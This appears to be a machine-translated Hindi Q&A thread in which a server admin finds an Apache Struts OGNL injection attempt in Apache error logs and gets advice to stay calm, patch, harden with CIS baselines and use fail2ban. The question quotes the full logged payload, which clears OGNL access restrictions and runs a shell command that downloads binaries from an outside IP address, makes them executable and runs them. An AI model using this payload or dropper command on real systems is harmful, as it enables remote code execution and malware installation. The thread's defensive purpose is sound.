मुझे एक हमले का प्रयास मिला - मैं क्या करूँ? [बन्द है]


0

मैं कुछ अपाचे लॉग देख रहा था और एक हमले के रूप में प्रकट होता है

core:error] [pid 20356] (36)File name too long: [client xxx.xxx.xxx.xxx:56856] AH00036: access to
/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().
exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)').getInputStream()))).
(#w.close())}/index.action failed (filesystem path '/var/www/html/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname --m|grep x86_64 >> ')

निष्पादन रेखा:

exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)')

मैंने फ़ाइल wget -O .loop http://111.90.158.225/d/ft64को सैंडबॉक्स में डाउनलोड किया है और यह एक संकलित / बाइनरी के रूप में दिखाई देता है इसलिए मैं अनिश्चित हूं कि फ़ाइल चलाने पर क्या करता है।

  1. त्रुटि से कोई भी बता सकता है कि क्या मेरे पास भेद्यता है, या बेहतर अभी तक है, इस हमले के लिए कमजोरियों को कैसे देखें / सुरक्षा में सुधार करें?

    • मैं अपाचे 2.4 पर एक सिम्फनी 4 एपीआई चला रहा हूं।
    • मैं इस बात को लेकर अनिश्चित हूं कि हमले का प्रयास कैसे किया जा रहा है और वे कैसे .execकमांड को चलाने की कोशिश कर रहे हैं
  2. क्या इसकी रिपोर्ट करने के लिए कोई उचित जगह है?


2
यह सवाल serverfault.com के लिए बेहतर अनुकूल हो सकता है । मैं प्रवास के लिए झंडा फहराऊंगा।
क्रिस्टोफर बंधक 21

मेरे अनुभव में, अगर कोई मशीन समझौता किए जाने के सबूत दिखाती है, तो यह अब भरोसेमंद नहीं है और इसे फिर से बनाया जाना चाहिए। याद रखें, हो सकता है कि हमलावर ने उन अन्य चीजों को किया हो, जिन पर आपने ध्यान नहीं दिया है, या कुछ ट्रैक को सफलतापूर्वक कवर किया है। यह हमलावर को अन्य मशीनों को संक्रमित करने के लिए आपके डेटा सेंटर / व्यवसाय में एक टोले के रूप में भी काम कर सकता था, इसलिए दूसरों की समीक्षा करना एक अच्छा विचार है।
क्रिस्टोफर बंधक

मुझे यकीन नहीं है कि अगर यह वास्तव में मशीन से छेड़छाड़ किए जाने का सबूत दिखाता है ... मैं किसी भी वेबसर्वर के पास जा सकता हूं और एक url को हिट करने की कोशिश कर सकता हूं ... मेरा मानना ​​है कि लॉग दिखा रहा है कि कोई व्यक्ति url पर गया था: http://example.com/${(#dm=@ognl.OgnlContext@....exec(...)/लेकिन अनिश्चित है मैं उस धारणा में सही हूं। लॉग भी उल्लेख करता है com.opensymphony.xwork2.ActionContext.containerजिसमें से इसका हिस्सा प्रतीत होता है Apache Struts। मैं का उपयोग नहीं कर रहा हूँApache Struts
Shawn Northrop

@ChristopherHostage आप बस इसे ऑफ-टॉपिक के रूप में यहाँ और विषय पर सर्वर फॉल्ट के रूप में बंद करने के लिए मतदान कर सकते थे । यदि 4 अन्य लोग आपके साथ सहमत होते हैं तो यह पलायन हो जाएगा।
Mokubai

1
@ChristopherHostage "मेरे अनुभव में, अगर कोई मशीन समझौता होने का सबूत दिखाती है ..." इस मामले में गलत है। सभी अपाचे लॉग दर्शाते हैं कि सर्वर पर कुछ करने का प्रयास किया जाता है, न कि इस बात का सबूत है कि कुछ भी किया गया है। और जैसा कि मेरे उत्तर में परिलक्षित होता है , यह इंटरनेट पर एक वेब सर्वर पर हमला करने का एक प्रयास है जो अविश्वसनीय रूप से सामान्य है और वास्तव में इसके बारे में चिंता करने के लिए कुछ भी नहीं है।
जेकगोल्ड

जवाबों:


1

आपका प्रश्न बताता है:

मुझे एक हमले का प्रयास मिला - मैं क्या करूँ?

और फिर आप बेदम रूप से निम्नलिखित का वर्णन करें:

मैं कुछ अपाचे लॉग देख रहा था और एक हमले के रूप में प्रकट होता है ...

आप क्या करते हैं? सरल उत्तर:

दहशत नहीं!

पैनकिंग और बहुत अधिक, बहुत जल्दी एक कथित खतरे को कम करने का प्रयास करने के लिए - और किसी भी नुकसान की तुलना में एक सर्वर के लिए अधिक हानिकारक हो सकता है जो एक वास्तविक हमले को प्रभावित कर सकता है।

लेकिन अधिक विस्तार से, दुनिया में हर वेब सर्वर लगातार जांच की जा रही है और कभी-कभी-कभी हमला किया जाता है। यह इंटरनेट की प्रकृति है। आपके Apache लॉग बस सर्वर से अनुरोध कर रहे हैं और यह बात है। यदि आपका अपाचे का संस्करण और अंतर्निहित ओएस (लिनक्स को संभालने) पूरी तरह से पैच किया गया है और आज तक आपको ठोस होना चाहिए। यदि आप अपने सर्वर पर कोई स्क्रिप्ट चला रहे हैं जो वेब फेसिंग हैं - जैसे कि PHP स्क्रिप्ट्स - आपके पास इस बात पर निर्भरता हो सकती है कि आपका पीएचपी कितना ठोस है।

उस ने कहा, मुझे अभी भी बहुत चिंता नहीं होगी। यदि आपके PHP कोड में वर्डप्रेस या ड्रुपल जैसे प्रीपैकेजेड सिस्टम हैं, तो सुनिश्चित करें कि CMS पैच किया गया है और अप टू डेट है। यदि यह PHP कोड कस्टम कोड है, तो यह कस्टम कोड केवल उस व्यक्ति की कोडिंग योग्यता के रूप में असुरक्षित है, जिसने इसे कोडित किया था।

लेकिन वह सब अभी भी मेरे प्रारंभिक संदेश के लिए उबलता है:

दहशत नहीं!

आपके द्वारा इस एक स्क्रिप्ट के साथ छेड़छाड़ किए जाने की संभावना कम नहीं है। यह एक "हमला" नहीं है जितना कि यह हमला करने का प्रयास है।

इस सारांश के पिछले कुछ भी एक साधारण प्रश्न के दायरे से बाहर है।

उस ने कहा, बाहर की सबसे कमजोर वेबसाइटें कस्टम कोडेड वेबसाइट्स नहीं हैं जितनी कि वे वर्डप्रेस और ड्रुपल जैसे प्रीपेड सिस्टम हैं जो उनके साइट मालिकों द्वारा पैच नहीं किए गए हैं। उन साइटों को पैच क्यों नहीं मिलता है? सूची के कई कारण। लेकिन वेब-आधारित हमलों का अधिकांश हिस्सा तारीख से बाहर लक्षित होता है और वर्डप्रेस और ड्रुपल जैसी अप्रकाशित पूर्व-पैक प्रणालियों के अलावा कुछ भी नहीं।

इसके अलावा, आप पूछें:

क्या इसकी रिपोर्ट करने के लिए कोई उचित जगह है?

रिपोर्ट करें कि कौन? आप मूल रूप से कहीं न कहीं किसी यादृच्छिक लिपि द्वारा (केवल हमले के प्रयासों के साथ) जांच कर रहे हैं। यदि आप आईपी पते को जानते हैं, तो आप उस आईपी पते के मालिक से संपर्क कर सकते हैं और देख सकते हैं कि क्या वे कुछ कर सकते हैं। लेकिन 2018 में, यह सबसे अच्छा प्रयास है।

क्यूं कर? आसान: हैकर्स आजकल बॉटनेट्स का इस्तेमाल करते हैं जो अक्सर संक्रमित मशीनों या डिस्पोजेबल क्लाउड सर्वरों के क्लस्टर होते हैं जो हमलावर सर्वरों का गंदा काम करते हैं। सिर्फ इसलिए कि आप एक विशिष्ट आईपी पते पर हमला कर रहे हैं इसका मतलब यह नहीं है कि उस आईपी पते पर सिस्टम का मालिक हमलावर है। यह सिर्फ एक संक्रमित प्रणाली हो सकती है। और अगर यह एक डिस्पोजेबल क्लाउड सर्वर है, तो आप आईएसपी से संपर्क करना चाह सकते हैं जो उस क्लाउड सर्वर का प्रबंधन करता है और शायद वे सतर्क हो सकते हैं। लेकिन सब कुछ होता है बॉटनेट का मालिक इन हमले के सर्वर को दूसरे आईएसपी में स्थानांतरित कर देगा।

बेहतर है कि बस सुनिश्चित करें कि आपका कोड और सर्वर ठोस है और इस तरह से "रिपोर्टिंग" सामान के बारे में चिंता न करें। यह हमला अनोखा नहीं है और इसकी रिपोर्ट करने से आपको मनचाहे परिणाम नहीं मिलेंगे।


-1

यदि आप अपने अपाचे लॉग पर बारीकी से देखते हैं, तो आपको अपने सर्वर के खिलाफ विभिन्न ज्ञात कमजोरियों को चलाने के प्रयास के कनेक्शन के प्रयासों के कई उदाहरण दिखाई देंगे।

सुरक्षा सुधारों के साथ अपाचे और अपने सर्वर पर चलने वाले किसी भी ऐप को चालू रखना महत्वपूर्ण है। इसके अलावा अपाचे सुरक्षित बेसलाइन डॉक को CIS से देखें ताकि आपकी स्थापना को कठोर बनाया जा सके।
अंत में, असफल 2 एबान और एपाचे जेल और फिल्टर (अपाचे-नोस्क्रिप्ट, अपाचे-ओवरफ्लो, आदि) जैसे उपकरण पर एक नज़र डालें।

हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.